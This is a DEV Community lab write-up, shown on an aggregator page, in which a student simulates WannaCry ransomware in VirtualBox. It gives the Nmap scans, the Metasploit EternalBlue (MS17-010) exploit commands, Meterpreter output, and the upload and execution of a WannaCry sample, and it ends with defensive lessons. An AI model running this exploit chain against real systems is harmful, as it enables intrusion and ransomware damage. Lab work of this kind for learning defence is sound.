惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

GbyAI
GbyAI
NISL@THU
NISL@THU
S
Secure Thoughts
P
Palo Alto Networks Blog
Hacker News - Newest:
Hacker News - Newest: "LLM"
AWS News Blog
AWS News Blog
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
S
Security @ Cisco Blogs
Cloudbric
Cloudbric
L
LINUX DO - 最新话题
L
LINUX DO - 热门话题
O
OpenAI News
C
Cyber Attacks, Cyber Crime and Cyber Security
Google DeepMind News
Google DeepMind News
Schneier on Security
Schneier on Security
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
www.infosecurity-magazine.com
www.infosecurity-magazine.com
月光博客
月光博客
阮一峰的网络日志
阮一峰的网络日志
Forbes - Security
Forbes - Security
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
S
Securelist
S
Security Affairs
博客园 - 三生石上(FineUI控件)
V2EX - 技术
V2EX - 技术
Apple Machine Learning Research
Apple Machine Learning Research
D
Darknet – Hacking Tools, Hacker News & Cyber Security
人人都是产品经理
人人都是产品经理
IT之家
IT之家
T
Threat Research - Cisco Blogs
博客园 - 司徒正美
J
Java Code Geeks
C
Cisco Blogs
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
W
WeLiveSecurity
N
News and Events Feed by Topic
P
Privacy International News Feed
V
Visual Studio Blog
博客园_首页
量子位
C
Cybersecurity and Infrastructure Security Agency CISA
Y
Y Combinator Blog
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
T
The Exploit Database - CXSecurity.com
Security Archives - TechRepublic
Security Archives - TechRepublic
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
N
News and Events Feed by Topic
D
DataBreaches.Net
The Cloudflare Blog

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant Common SOC 2 Failures (Real World) Stop Vibe-Checking Your AI App: A Practical Guide to Evals How to Use SonarQube and SonarScanner Locally to Level Up Your Code Quality Your Next To-Do App Is Dead — I Replaced Mine with an OpenClaw AI Sign a Nostr event in 60 lines of Python using coincurve — no nostr-sdk, no nbxplorer, no rust toolchain ITGC Audit Explained Like You’re in Big 4 Patch Tuesday abril 2026: Microsoft parcha 163 vulnerabilidades y un zero-day en SharePoint Stop scraping everything: a better way to track competitor price changes Listing on MCPize + the Official MCP Registry while routing payments OUTSIDE the marketplace — how I kept 100% of my x402 revenue Building an AI-Powered Risk Intelligence System Using Serverless Architecture Why We Ripped Function Overloading Out of Our AI Toolchain Testing AI-Generated Code: How to Actually Know If It Works SaaS Churn Is Killing Your Business. Here Is What to Do About It (Without a Support Team) The Speed of AI Is No Longer Linear - And Self-Improving Models Are Why How to Implement RBAC for MCP Tools: A Practical Guide for Engineering Teams From Standard Quote to Persuasive Proposal: AI Automation for Arborists I built a CLI that scaffolds complete multi-tenant SaaS apps Axios CVE-2025–62718: The Silent SSRF Bug That Could Be Hiding in Your Node.js App Right Now The dashboard that ended our friendship Data Pipelines Explained Simply (and How to Build Them with Python) The Hidden Cost of AI Systems Nobody Talks About. undefined vs undeclared, and how typeof behaves Switching from file-based jobs to NATS/Kafka in Rust without changing code io_uring Adventures: Rust Servers That Love Syscalls Why Agentic AI is Killing the Traditional Database The POUR principles of web accessibility for developers and designers Quantum Neural Network 3D — A Deep Dive into Interactive WebGL Visualization How To Install Caveman In Codex On macOS And Windows Automation Pipeline Reliability: Why Your Workflow Breaks When Nobody Is Watching I Built an 'Open World' AI Coding Agent — It Works From ANY Folder From Freelancing to Product: A Tech Service Company's SaaS Transformation China's AI Giants: Adding Tencent Hunyuan & ByteDance Doubao to AI University (74 Providers) On the Vibe Coders and Their Lies clerk: Auto-Summarize Your Claude Code Sessions AI Weekly — 2026/04/10–04/17 | The Model Lockdown Is Here, but the Toolchain Is the Real Battleground AI 週報 — 2026/04/10–2026/04/17 模型封鎖潮來了,但工具鏈才是真戰場 Maybe this is how Open-Source apps are born... 🚀 Fine-Tune LLMs with LoRA and QLoRA: 2026 Guide tRPC v11 + Next.js App Router: End-to-End Type Safety Without the Boilerplate ShadCN UI in 2026: Why I Stopped Installing Component Libraries and Started Owning My Components SaaS Billing in React Server Components: Stripe + Supabase Without a Single `useEffect` Join our DEV Weekend Challenge — $1,000 in Prizes Across TEN winners! Submissions Due April 20 at 6:59 AM UTC. Implementing FSRS Spaced Repetition in Flutter + Supabase — Adding Memory Science to an AI Learning App "I Texted My Localhost From the Train — Claude Code Fixed the Bug Before I Got Home" I Built a Sales Prep AI and It Went Deeper Than Expected Design to Code #2: One JSON, Eleven Outputs Solving the 100M-Row Problem: A Summary Table Pattern for High-Volume Push Notification Logs Flutter Web With Wasm: What Actually Changes For Developers I Built 50 Royalty-Free Soundtracks for My Side Project in a Weekend Using AI Music Generation The Vibe Coding Security Checklist: 7 Things to Check Before You Ship Stop Letting Googlebot Guess Fix Your React App's SEO Right Desconstruindo o Streaming do LinkedIn: Como Criar um Engine de Extração de Vídeo de Alta Performance com HLS e FFmpeg (EDA Part-1) EDA (Exploratory Data Analysis) Explained With Real Life — Why Looking at Your Data Is the Most Important Step in Machine Learning Brand Relationship Management at Scale: Our 4-Touch Outreach System for 200+ Brands Why String.fromEnvironment() Might Return an Empty String in Dart JGuardrails 1.0.0 — Hardening Java LLM Apps Against Jailbreaks, Toxicity, and Prompt Injection Plan and Schedule a Full Week of Threads Content From One Claude Conversation Coding Cat Oran Ep3, Five Tables Changed Everything Updated: BFF Pattern I'm done watching freelancers get buried by 200 proposals. So I'm building the alternative. This is my first post BFS Algorithm in Java Step by Step Tutorial with Examples Tracking LLM Pricing Monthly: An Open Dataset for 22 AI Models How We Measure Content ROI on a Comparison Site: Revenue Attribution Without Perfect Data Introducing Nova AI Ops: The AI-Native Operating System for SRE Teams I built a free desktop video downloader for Windows — Grabbit How Talkie OCR Helps Vision-Impaired & Dyslexic Users Read the World Around Them VRCFaceTracking安装和iPhone面捕配置教程,有bug Even CrowdStrike Can't See Your Agents The Automation Gold Rush: What n8n Workflows and Claude Are Opening Up for Developers Right Now
Inside a 2017 Nightmare: Simulating WannaCry Ransomware in a Controlled Lab
Saumya Aggar · 2026-05-05 · via DEV Community

A hands-on technical breakdown of the WannaCry ransomware, the EternalBlue exploit, and why system patching is still critical today.

Imagine it’s a typical Monday morning at a mid-size hospital. An older Windows computer in the Radiology department hasn't been updated in months. The hospital's network is completely "flat," meaning every computer can seamlessly talk to every other device on the network.

Suddenly, a doctor tries to open a patient's record and gets an error. Then the screen goes dark. A red lock icon appears, demanding $300 in Bitcoin. Within minutes, it's not just the Radiology PC—it’s the nursing stations, the shared file servers, and the administration desks. Everything is locked.

This isn't a theoretical movie plot. It’s exactly how the WannaCry ransomware crippled global infrastructure in May 2017, causing an estimated $4 billion in damages.

As a 4th-year BTech Computer Science student diving deep into cybersecurity, reading about these attacks isn't enough. I wanted to understand the mechanics underneath. So, I built an isolated lab environment to simulate the WannaCry attack safely.

Here is a hands-on, educational breakdown of how the attack works, how the EternalBlue exploit functions, and most importantly, how we can defend against it.

⚠️ Disclaimer: This simulation was conducted in a strictly controlled, isolated, and legally owned VirtualBox environment. The information provided here is purely for educational purposes to understand malware mechanics and improve defensive security strategies.


🛑 What exactly is Ransomware (and why was WannaCry different)?

At its core, ransomware is a digital lockbox. It’s malicious software that infiltrates a system, encrypts the user's files, and holds the decryption key hostage until a ransom is paid.

Traditional ransomware usually requires user interaction—like an employee accidentally clicking a bad link in a phishing email. WannaCry was different. WannaCry possessed worm-like behavior.
It utilized a leaked NSA exploit known as EternalBlue (MS17-010). This exploit targeted a critical vulnerability in Microsoft's Server Message Block (SMBv1) protocol. Because of this, WannaCry didn't need anyone to click a link; if a machine was on the network, had SMB exposed, and lacked the security patch, the ransomware could break in and spread autonomously.


📅 The 2017 Attack — What Actually Happened?

On May 12, 2017, WannaCry began spreading across the globe.

Within just a few hours, it had infected over 200,000 computers across 150 countries.

Some of the hardest-hit targets:

  • 🏥 UK's National Health Service (NHS) — hospitals couldn't access patient records, surgeries were cancelled, ambulances were diverted
  • 🚂 Deutsche Bahn (German Railways) — departure boards went dark
  • 🏭 Renault, FedEx, Telefónica, Boeing — operations disrupted worldwide The estimated financial damage? Over $4 billion.

The attack was eventually slowed down when a British security researcher, Marcus Hutchins, discovered a "kill switch" — a specific domain name hardcoded into the malware. Registering that domain stopped new infections. But by then, the damage was done.


🔧 The Exploit Behind It All — EternalBlue (MS17-010)

Here's where things get fascinating (and a bit dark).

WannaCry didn't just appear out of thin air. It was powered by EternalBlue — a cyberweapon developed by the U.S. National Security Agency (NSA).

EternalBlue exploits a critical vulnerability in Windows' SMB (Server Message Block) protocol — specifically, MS17-010. SMB is the protocol Windows uses for file and printer sharing across a network, running on port 445.

The vulnerability allows an attacker to send a specially crafted packet to a Windows machine running SMB v1, without any username or password, and gain remote code execution. Complete control. No credentials required.

Microsoft had released a patch (MS17-010) in March 2017 — two months before the attack. But millions of organizations had still not applied it. The NSA's tool, once leaked by a group called the Shadow Brokers, became the foundation of one of the most destructive attacks the internet has ever seen.


🛠️ The Lab Setup

To recreate this safely, I set up a virtualized sandbox:

  • Hypervisor: Oracle VirtualBox
  • Network: An isolated NAT Network (ensuring nothing escapes to my host machine or home Wi-Fi).
  • Attacker Machine: Kali Linux
  • Target Machine: Windows 7 (intentionally unpatched and vulnerable)

Once both machines were on the same NAT network and could ping each other, the simulation began.


🕵️‍♂️ Phase 1: Reconnaissance (Finding the Unlocked Door)

The first step in any attack is understanding the landscape. Using Kali Linux, I utilized Nmap (Network Mapper) to scan the subnet and identify live hosts and open ports.

Think of this phase like a burglar quietly walking down a hotel hallway, checking the handle of every single door to see which ones are left unlocked.

nmap -sV -O 10.0.4.0/24

Enter fullscreen mode Exit fullscreen mode

10.0.4.7 is the IP address of the Linux machine when it's on that local network.

The scan returned highly valuable information:

  1. That a machine(10.0.2.4) was running Windows 7.
  2. Port 445 (microsoft-ds) was wide open.

Port 445 is used for SMB (file sharing). Knowing that Windows 7 and unpatched SMB is a lethal combination, I had found my entry point.

nmap


🔎 Phase 2 — Confirming the Vulnerability (Nmap Vuln Script)

Finding port 445 open is suspicious, but it's not enough on its own. The next thing a real attacker (or a penetration tester) does is confirm that the machine is actually vulnerable — not just that the port is open.

Nmap has a built-in script engine that can run vulnerability checks directly against a target. I ran:

nmap --script vuln 10.0.2.4

Enter fullscreen mode Exit fullscreen mode

This tells Nmap to run its full suite of vulnerability detection scripts against the victim machine. It checks for known CVEs, misconfigurations, and weaknesses across all open ports.

What came back was exactly what we were looking for:

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|       servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Enter fullscreen mode Exit fullscreen mode

There it is — MS17-010 confirmed VULNERABLE. CVE-2017-0143. Risk factor: HIGH.

This step is important because it removes all guesswork. You now know, with certainty, that this specific machine has the EternalBlue vulnerability sitting open. In a real pentest, this is what you'd document before moving forward — proof of vulnerability, not just assumption.

Now we have everything we need: a target IP, an open SMB port, and a confirmed vulnerability. Time to exploit.


💣 Phase 3 — Exploiting the Vulnerability (EternalBlue via Metasploit)

Metasploit is a legitimate penetration testing framework used by security professionals worldwide. It comes pre-installed on Kali Linux and includes a massive database of exploits — including EternalBlue.

I launched Metasploit and searched for the MS17-010 exploit:

msfconsole
search ms17-010

Enter fullscreen mode Exit fullscreen mode

This returned a list of available exploits. I selected:

use exploit/windows/smb/ms17_010_eternalblue

Enter fullscreen mode Exit fullscreen mode

The Exploit is loaded. (Just like a gun).

Now we check the requirements of this exploit.

mfsconsole

Then I configured it with the target's IP address:

set RHOSTS 10.0.2.4
run

Enter fullscreen mode Exit fullscreen mode

What happened next blew my mind.

Within seconds, Metasploit established a Meterpreter session — a powerful reverse shell — on the Windows 7 machine. No password. No user interaction. The machine was completely compromised.

I could now browse its file system, download files, execute commands — complete control.

meterpreter > pwd
C:\Windows\system32
meterpreter > cd ../..
meterpreter > pwd
C:\
meterpreter > cd users
meterpreter > ls
Listing: C:\users
=================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2009-07-14 01:08:56 -0400  All Users
040555/r-xr-xr-x  8192  dir   2009-07-14 03:07:31 -0400  Default
040777/rwxrwxrwx  0     dir   2009-07-14 01:08:56 -0400  Default User
040555/r-xr-xr-x  4096  dir   2009-07-14 00:54:24 -0400  Public
100666/rw-rw-rw-  174   fil   2009-07-14 00:54:24 -0400  desktop.ini
040777/rwxrwxrwx  8192  dir   2025-04-12 16:41:39 -0400  vboxuser

meterpreter > cd vboxuser
meterpreter > cd desktop

Enter fullscreen mode Exit fullscreen mode

This is the power (and the terror) of an unpatched vulnerability. The door was wide open.


💉 Phase 4: Delivering the Payload

With total control over the victim's system, I could browse files, dump passwords, or monitor keystrokes. But the goal of this lab was to simulate the ransomware payload.

I needed to upload the WannaCry.exe sample from my Kali machine to the Windows desktop.

Side note on troubleshooting: During this step, I ran into pathing issues. My downloaded file was in my Kali /home/kali/ directory, and I needed to ensure the Meterpreter shell was in a valid Windows directory (like C:\Users\Target\Desktop) before uploading. Learning how to navigate Linux and Windows pathing simultaneously was a great hands-on lesson!

meterpreter > upload /home/kali/Downloads/WannaCry.exe
[*] Uploading  : /home/kali/Downloads/WannaCry.exe -> WannaCry.exe
[*] Uploaded 3.35 MiB of 3.35 MiB (100.0%): /home/kali/Downloads/WannaCry.exe -> WannaCry.exe
[*] Completed  : /home/kali/Downloads/WannaCry.exe -> WannaCry.exe
meterpreter > 

Enter fullscreen mode Exit fullscreen mode

For the WannaCry sample, I sourced it from a controlled research repository. If you're replicating this lab, please only obtain malware samples through legitimate security research platforms and never outside an isolated environment. I cannot provide the .exe link for security reasons.

Once uploaded, I executed the malware directly from my terminal:

execute -f WannaCry.exe

Enter fullscreen mode Exit fullscreen mode


💀 The Aftermath: Watching the World Burn (Locally)

The impact on the victim's machine was terrifyingly fast.

Before the attack: The desktop had folders, JPEGs, MP3 files, and standard documents.

before the attack

During the encryption:
during the attack

After the attack: The files rapidly began changing their extensions to .WNCRY. They were completely inaccessible.

Then, the desktop wallpaper changed to a dark warning screen, and the infamous "Wana Decrypt0r 2.0" window popped up. It featured countdown timers designed to induce panic and clear instructions on how to send $300 in Bitcoin to a specific wallet address.

If this were a hospital, the business would be entirely paralyzed.

final screen


🛡️ Defensive Takeaways: How Do We Stop This?

Simulating the attack is cool, but learning how to stop it is the actual job. Here is what this lab taught me about enterprise defense:

1. Patch Management is Non-Negotiable

The wildest part about the 2017 WannaCry outbreak? Microsoft had released a patch for the SMB vulnerability two months before the attack happened. Organizations that kept their systems updated were completely immune. Patching is tedious, but it is the ultimate shield.

2. Network Segmentation

In our "hospital" scenario, the network was flat. If the hospital had segmented its network—isolating the Radiology computers from the administrative servers and restricting SMB traffic across subnets—the worm wouldn't have been able to spread hospital-wide.

3. Backups (The Ultimate Undo Button)

If your files are encrypted and you have a secure, offline backup from the night before, ransomware loses its leverage. You don't pay the ransom; you wipe the machine and restore the data.

4. Disable Legacy Protocols

If a system doesn't strictly need SMBv1, disable it. Reducing the attack surface is a core pillar of security.


🎓 Final Thoughts

Reading about the theory of buffer overflows and ransomware logic is one thing, but running the exploit and watching a system fall apart in real-time hits completely differently.

Getting my hands dirty with VirtualBox networking, Metasploit, and basic malware execution reinforced the "why" behind the security controls we implement. It’s easy to complain about forced Windows updates, but after seeing EternalBlue in action, I'll happily let my PC restart.

Have you ever simulated a malware attack in a lab? What was your biggest takeaway? Let me know in the comments!

If you liked this breakdown, feel free to connect with me on LinkedIn as I document the rest of my BTech cybersecurity journey!